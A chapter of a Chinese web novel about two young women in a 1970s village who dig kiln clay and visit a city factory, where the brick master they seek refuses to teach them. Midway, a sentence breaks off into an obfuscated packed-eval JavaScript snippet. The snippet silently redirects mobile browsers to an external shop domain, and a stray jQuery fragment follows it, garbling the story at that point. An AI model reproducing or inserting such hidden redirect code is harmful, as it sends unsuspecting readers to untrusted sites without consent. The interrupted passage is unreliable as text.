季椿岁跟着季婕去了老窑场。
那儿已经看不见窑炉的影子了,除了边缘杵着几个长着不知名刺藤的土包,中间十分平整,宛若另一个晒坝场。
区别在于大队部的晒坝场是青石板铺就的,粮食可以直接往地上摊开晾晒,这儿是泥地,玉米粒必须倒在篾簟上晒。
“季知青,你过来。”季婕蹲下身,随手抓起一把脚下的泥土,说:“你看看这种对不对?我分辨不出来。”
季椿岁也属于纸上谈兵的主儿,但一摸那土就明显感觉到跟之前挖的,以及土高炉那儿的不一样。
很细,也更重。
攥在手里有种温润的、油脂般的滑腻,十分奇怪的触感。
松开手指时没像其他泥土那样散碎落下,而是保持着被捏过的形状,她惊得“哇”了一声:“它好像真的不太一样。”
季婕凑过来看了看,伸出指腹碰了碰土团边缘,惊喜道:“还真不散。”
两人对视一眼,如出一辙的欣喜,而后不约而同点了点头,同时说道:
“应该就是它了。”
“应该就是它。”
话音落下,空气安静了两秒,两人你看我我看你,接着又不约而同“噗嗤”一声,笑开了。
“我俩真有默契。”
“可不是。”
说笑完,季椿岁拿起锄头走向其中一个土包,猛地朝地面砸去,她一身牛劲儿,几下就把覆在表面的刺藤挖断,一直挖到四十公分深处才停手,而泥土的颜色肉眼可见,深了。
季椿岁放下锄头,伸手碾了碾,比表层的泥更紧致,手感也更润,甚至带着丝丝水汽。
“果然是老窑场,大地主不干人事,但眼光是好的。”
季婕眼睛亮晶晶的,也跃跃欲试。
她一开始对季椿岁的动机和行动力半信半疑,只是存着一丝侥幸心理,觉得若真能干出点什么对村里确实是好事,这才跟来帮忙。
实际上对成功,她没报太多期待,毕竟过去村里不是没人尝试烧过,都失败了。
但这会儿,季婕忽然信心倍增。
她抬头望向季椿岁,她正用袖子擦额头的汗,露出小麦色的小臂,她暗暗点头,确实不是假把式。
还好方才回家放猪草时她背了空背篓,拿了锄头,现在好了,正好能一块干活。
“那咱们动作快点,可以多背两趟。”
季椿岁点头:“嗯,谢谢你啊,季婕姐。”
季婕挑眉,笑着摇头:“谢什么,本来你就是为了咱村的孩子们费心,其实该我谢谢你才对。”
两人虽然说着话,手上的动作却一点没停。
锄头挥得哼哼哈哈,十分起劲。
她们先把表层挖掉,捡出里面的石子和密密麻麻的草根,最后才把清理过一遍的干净泥巴装进背篓、箩筐。
来回搬了三趟,宗慧真院子里都堆出小山了。
两人顶着火辣辣的太阳,大老远运泥当然不会没人撞见,但都被季婕糊弄过去了。她没提烧砖的事,而是说最近村里大人们忙得脚不沾地,她想做一批黄泥砖晾着,毕竟建小学需要的砖不少嘞,能做一点是一点。
至于泥巴为何搬到宗慧真家也好解释,宗慧真家的院子宽、空,周围没邻居,不会出现调皮捣蛋的娃娃搞破坏。
她还给季椿岁支招:
“……遇到人问你,你就像我那样讲,只说做土砖,不说烧砖,免得有些人兜头泼你冷水,坏斗志。”
“等真烧出来可就一鸣惊人啦,到时候大家知道了你的能耐,才会把你当成能做事的大人看待,而不是瞎指挥的丫头片子。”
她是晓得的,她阿爸对两个知青的期待。
指着他们能干实事,能给村里带来好的变化,而不是空谈喊口号背主义。今天陪着干了这么久,她更加确定季椿岁就是她爸说的那种脚踏实地、行胜于言的人。
等把最后一筐泥倒下,太阳已经偏西了。
一通忙碌下来,季婕离开时,对季椿岁的称呼已经从客气的“季知青”换成了亲昵的“岁妹儿”。
她走后,季椿岁也没休息,来来回回挑了四五趟水,把泥全都泡上。宗慧真下工回来时,就见孙女忙得浑身大汗,裤腿挽得老高,把泥水踩得‘啪嗒啪嗒’响。
“……这是土高炉那儿的泥?”宗慧真放下凳子,走近了看:“颜色有这么深吗?”
季椿岁抬起头,小脸上沾着几个泥点子。
“不是,奶奶,季婕姐带我到老窑场挖的。”
宗慧真一听,轻拍了下脑门:“看我,都把那地儿给忘了。”
废太多年了。
在她来季家口之前,老窑场好像就废弃了。
后来大炼钢时有人提过一嘴在那边重建窑场,被队里否决,大家说起老窑场都讳莫如深的样子,宗慧真猜可能跟季家有关,自己身份又敏感,便没主动问过内情。
因此跟孙女说窑炉时压根没想起那儿还有一口。
“累了一天,给你卧两个鸡蛋在面里?”
季椿岁眼睛放光:“好呀,奶奶,要放泡辣椒和泡菜水喔~~”
“晓得了,晓得了。”
宗慧真到灶披间做晚饭,季椿岁继续踩泥。等水坑中间的跟和面似的变黏糊后,她才出来,拎着草鞋到河边洗脚。
次日天还没亮,她已经起了。
起来第一件事,先把昨晚泡的泥又翻搅了一遍,刚打了水洗漱洗脚,院子外响起了窸窸窣窣的动静。
“岁妹儿,起了没?”季婕背着旧帆布包,出现在刺橘外。
“起了起了!”
季椿岁赶紧擦干脚,蹬上解放鞋跑过去:“季婕姐,你这么早?”
季婕笑了笑,压低声音说:“我跟我爸说,我陪你一道去西津找杨叔,证明条子我已经开好了。”
她拍了拍腰间的帆布包,俏皮地眨了眨眼。
季椿岁‘啊’了一声:“还要开证明啊?我从西津到春坨镇买票时,车站没让我掏下乡通知书。”
季婕也懵了两秒,她挠了挠头:“不要吗?”
“去年我到市里农机站请师傅回来修拖拉机,买票时,是必须检查身份证明条的。”
“哎呀不管了,不管要不要,带着总没错。”
“万一路上遇到检查的,咱也不慌,走吧,早点去早点回,我哥先到码头那边等着咱们了。”
“好,季婕姐,等我拿个东西。”
季椿岁回房拿起拾掇好的小布包,到里屋跟刚醒的宗慧真说了声:“奶奶,我出门咯。”
宗慧真:“路上当心些。”
“知道了。”
季椿岁跟着季婕飞速往码头跑,远远地,就看到了停泊在那儿的木船和正在啃烤红苕的季杰。
“大哥!”
“季大哥!”
季杰长了一张跟季婕相似的方圆脸,他点点头:“喏~给你俩留了红苕和桃。”
“谢谢季大哥。”
季椿岁接过吃的,踩着跳板上船,脚下木板晃了晃,她的小心脏也跟着扑通扑通跳。
长这么大,这是她第一回坐船,坐的还是小木船。
好在季家口到春坨镇这一段水流还算平缓,先前暴雨涨的水早就退了,河水也重回清澈,跟来时见的都不像一条河。
季杰把两人送到镇口码头,直接调转船头回村,叮嘱说:“下午你们早点回,我没空接,你们要走山路的。”
“晓得的。”
季婕冲亲哥挥挥手,便拉着季椿岁往镇口等车的地方狂奔,边跑边气喘吁吁说:“咱们……跑快点,应该……能赶上第一趟车……”
季椿岁心说,咱非要这样把肺都跑出来吗?
结果,还真跑对了。
两人刚跑到镇口就看见那辆破旧的客车慢悠悠发动了,季婕赶紧扯开嗓子大喊:“等一等!”
“等等我们,还有人没上车!!”声音都劈叉了。
季椿岁忙跟着大喊:“师傅,还有人,后面还有俩呢。”
好在售票员及时听到,车子成功停下。
季婕来不及舒口气,拉着季椿岁三步并两步蹿上去,车里已坐得满满当当,没位置了,售票员熟练地从前排椅子下拖出一张凳子,往两边座椅之间一塞,“挤一挤,坐这儿。”
显然,这年头超载是常态。
这还是清早第一班车呢,不算挤的。若等到上午那趟,车厢过道必要挤得一点缝隙都不留。
听季婕说一天只有四趟车,后三趟才叫挤,季椿岁直呼庆幸,不说别的,就说早上车里没多少汗味儿已经救命了。
客车“哐当哐当”,沿着坑洼不平的土路颠簸前行。
这次花的时间比来时少很多。
大概是下坡路多,加之天气不错,路况好,抵达西津市时车站口外墙的时钟显示八点过三分。
“先到供销社。”季椿岁讲。
季婕问:“到那做什么,有什么要买的吗?”
季椿岁:“你不是说杨叔爱酒……”
“嗨,放心,我带着呢。”
季婕再次拍包,“你是为村里办事,哪有叫你花钱的道理,再说杨叔也不爱外头的酒,他喜欢我奶自酿的果酒,我爸昨晚跑我奶家偷了一瓶,这儿,除了酒,还带了一刀腊肉,他肯定愿意教你的。”
季椿岁“噗嗤”笑出声。
没想到总是一脸严肃的队长叔竟然会到父母家偷酒。
“走吧,咱们直接到材料厂。”
季婕熟门熟路地领路,出了车站大门往右拐,沿着一条铺着煤渣的马路走了大概二十分钟,进入一排砖瓦楼的街道,又沿着走了十多分钟,左拐走向另一条路。
没多久,材料厂到了。
“叔,我找杨成济,能帮我喊一下不?”
门卫大叔坐在竹椅上,举着报纸正看着呢,闻声抬眼瞥了眼两人,视线往旁边桌上一移:“自己登记。”
季椿岁“哎”了声,上前登记好。
就见那大叔自顾自看他的报纸,似乎把她们给忘了。
她沉吟两秒,用力咳了两声,笑嘻嘻问:“叔,登记好了,您帮我们叫他,还是我们到厂里找?”
门卫大叔没回答。
只是把报纸往下移了移,露出一双浑浊精明的眼睛,上下打量季椿岁二人一番,最后目光在季婕腰间那鼓鼓囊囊的包上停留了两秒,才慢悠悠问:“找杨工啊,你们找他做什么?”
季婕不动声色把包挪到背后,往前凑了半步,笑道:“叔,我们是杨叔的老乡,我爸让我进城时来拜访拜访他,您放心,就说几句话,不会耽误太多时间的。”
“……老乡哦。”
门卫大叔撇了下嘴,他看这两姑娘身上没怎么带补丁,还当别的单位来厂里定材料,自己有油水可捞呢。
没想到是乡坝头来的。
他懒洋洋躺了回去,重新拿起报纸,朝厂区努了努嘴:“你们往里走,右手边到砖瓦区第二个车间,杨工今天应该在那边调试窑温。见了人,不要到处乱跑,等会出来要在登记簿签退的。”
“好嘞,谢谢叔!”
季婕立刻示意季椿岁往里走。
季椿岁回头看了眼门卫大叔,心道当工人多好啊,铁饭碗来的,只要不出大纰漏,厂里都不能随意辞人。
原本自己也能当工人的,哎,不想了。
季椿岁拉回跑偏的思绪,亦步亦趋跟着季婕,两人很快到了砖瓦区,一到砖瓦区,一股热浪扑面而来。
越靠近车间,温度越高。
第二车间门口,几个工人推着斗车卸砖垒砖,见到她俩,疑惑问:“你们是做啥的,怎么跑到这边来了……?”
季椿岁刚要开口,季婕已经抢在前头,笑盈盈地说:“同志,我是杨成济的侄女,找他有点事。”
那工人“哦”了一声,面上挂起笑:“原来是杨工的亲戚哦,长得是有点像唷,你们在这儿等着,我去喊他。”
没一会儿,一个穿着蓝布工装的中年男人走了出来。
他身形瘦高,脸上戴着副旧眼镜,镜片上沾着不少灰,一见到季婕,先是愣了下,随即笑道:“婕娃,你怎么来市里了,又替你爸跑腿啊?”
“杨叔!”
季婕快步迎上前,亲热地说:“好久没见您了,我爸都念叨你好几回呢,我就不能单纯来看你,非得有事吗?”
杨成济拍拍她肩膀,目光略过季婕,落在身后的季椿岁身上,问:“这妹娃是?”
“这是我们村新来的知青,季椿岁。”
季婕侧身,认真介绍道:“我有点事想请教您呢。”
“我就说你肯定有事才来。”杨成济笑。
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599915|205303||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
打量了季椿岁几眼,见她眼神清亮,身板站得笔直笔直,朝气蓬勃的样子,杨成济微微颔首:“行,这边热,到那小办公室说。”
杨成济领着两人绕过一排排砖垛,走到尽头一间小屋里。
屋子很小,摆着一张桌子,两把椅子,角落有两条长凳,大概是工人守夜临时休息用的。
“坐,什么事?”
杨成济态度很温和,不像奶奶说的那样独那样古怪,季椿岁以为今天一定能达成所愿时,变故陡生。
“婕娃,你用说了,我不会教的。”
他脸变得突然,迅速阴沉下来,连桌上那瓶让他欢喜的果酒都推了回来:“你拿回去,你阿爸就知道我的意思了。”
季婕的笑容僵在脸上,一时间没反应过来:“杨叔,您说……”
杨成济取下眼镜,随手擦了擦。
语气冷淡,斩钉截铁道:“我说不教。”
季婕急急站起身:“为什么啊,杨叔?这是关乎村里孩子上学的大事,只要建好学校,他们就不用在暴雨天里滑铁索到对面,杨叔……”
杨成济不为所动:“没有为什么,不想教就是不想教,也没有义务教,什么娃娃不娃娃的跟我没关系,又不是我的娃娃,谁的娃谁操心。”
季椿岁心里‘咯噔’了一下,她总觉得后半句里透着……怨恨?!好似不是在对着季婕说,而是在回应谁。
“杨师傅,难道您在厂里也没带徒弟吗?”
季椿岁心念微动,试探问。
杨成济冷眼斜睨向她:“你管我带不带?我带哪个徒弟都可以,就是不会带季家口的,就算婕娃要学,我也不带。”
季婕的脸一瞬间胀红了。
她以为家里跟杨叔关系好,杨叔对自己比亲侄女差不了多少,来之前自信满满地对季椿岁打包票,事情一定能办成。
如今听到这番话,心里像扎了把冷刀子,又伤心又臊得厉害,她嘴唇动了动,好半天没挤出一句话。
季椿岁是局外人,敏锐地品出了些什么,心里无数个念头来回转圈,最后她深吸一口气,开口直言:“杨师傅,是村里谁家得罪过您吗?”
“你知道什么?”
“你一个外地来的小丫头知道什么?我跟你讲,不是哪家得罪我,是都得罪我了,总之,我不教季家口任何一个人。我今天很忙,就不招待你们两个丫头了。”
说完,转身就往外面走。
走了几步,杨成济又顿住脚,冷硬地补了一句:“早点回去,注意安全。”而后步伐又快又硬,再也没有半点犹豫。
季婕想追上去,季椿岁一把拉住她胳膊,“季婕姐,别追了,我们不知道杨师傅生气的点在哪,追上去也没用。”
季婕咬着下唇:“……那,就这样回去了?”
季椿岁沉默了几秒,目光扫过外面挥汗如雨的工人,脑子飞快转动。
“回去?咱们大老远来一趟呢,连块砖都没摸着就回去,太亏了。”
片刻后,她低声说:“季婕姐,砖瓦区不止一个车间,所以肯定不止杨师傅这一个大师傅。”
季婕秒懂:“你是说……找别的师傅试试?”
“对。”
季椿岁目光坚定:“来都来了,总不能白跑一趟,季婕姐,你知道材料厂的家属大院在哪吗?”
“知道。”季婕点头:“前年我跟阿爸阿妈去过家属大院,离这里两条街,但我只去过杨叔家,不认识其他人。”
“那行,我们先到供销社买些糕点、烟酒,然后直接去家属大院。”
季婕为难:“我身上没带票……”
“我带了!”
这次换季椿岁自信拍包了:“钱、糕点票、烟票酒票、还有一张工业票,我都带了。”
季婕还是有些犹豫:“可,可咱们连那些师傅住哪一栋都不知道,去了怎么找?”
“不用找。”季椿岁笑容狡黠:“家属大院嘛,总有个扎堆扯闲篇的地方,咱们看准个面善的婆婆、嬢嬢,跟她们唠唠嗑,保管不出一小时,谁家裤衩子丢过都能打听出来。”
季婕被她的话逗笑了。
心里的委屈尴尬散了大半,她用力点了点头:“行,我听你指挥。”
两人签退后,直奔供销社。
季椿岁平时对自己十分抠门,但想到办事不能抠搜,她强行按捺住了那股心疼劲儿,买了一瓶当地的烧酒,一条“大前门”,两封糕点,一包红糖。
供销社售货员见她年纪不大,花钱这么利索,忍不住多看了两眼。
季婕也咋舌不已。
小声说:“椿岁,这,这花的也太多了吧,你哪来这么多票?”
“我妈让我带的。”季椿岁面不改色道:“没事儿,这些不就是用来花的吗?再说,我乐意花这钱,学校如果能早点建好,我不就能早点上岗了吗?这地里的活,累死我了,我是真不想干。”
季婕感动到热泪盈眶:“岁妹儿……”
多么高尚的情操啊。
出钱出力不说,还为了让自己心里好过、不背上心理包袱,岁妹儿都快把自己说成逃避劳动的落后分子了。
季椿岁:……咳,咳,其实不全是假话。
她的积极是真的,觉得地里的活儿苦也是真的,如果有一天,能不干农活,那是最好了。
买完东西,两人走出供销社大门,刚迈出几步,便被迫停了下来。
街上,一队穿着绿军装、臂戴红袖章的青年列队走过。领头的人举着一面红旗,后面的人有的手持语录本,有的扛着刷标语的石灰桶和刷子,步伐整齐,神色亢奋。
“打倒一切牛鬼蛇神!”
“破四旧,立四新。”
“阶级斗争一抓就灵,誓死保卫毛主席!”
“……”
一声声声浪从街口涌来,明明人数不多的队列,发出的声音却震得人耳膜嗡嗡的。
季椿岁踮起脚,好奇张望,目光随着那面红旗一路向前。
身旁的季婕许久没进城,是第一回见到这个场面,忍不住小声嘀咕:“这都是在干什么啊?”
旁边围观的路人听见,随口答道:“市一中的红|卫|兵小队在搞行动呢,三天两头街上就要热闹一回。”
季婕‘哦’了声,没太好奇怎么个热闹法,只侧身跟季椿岁说:“岁妹儿,走了!”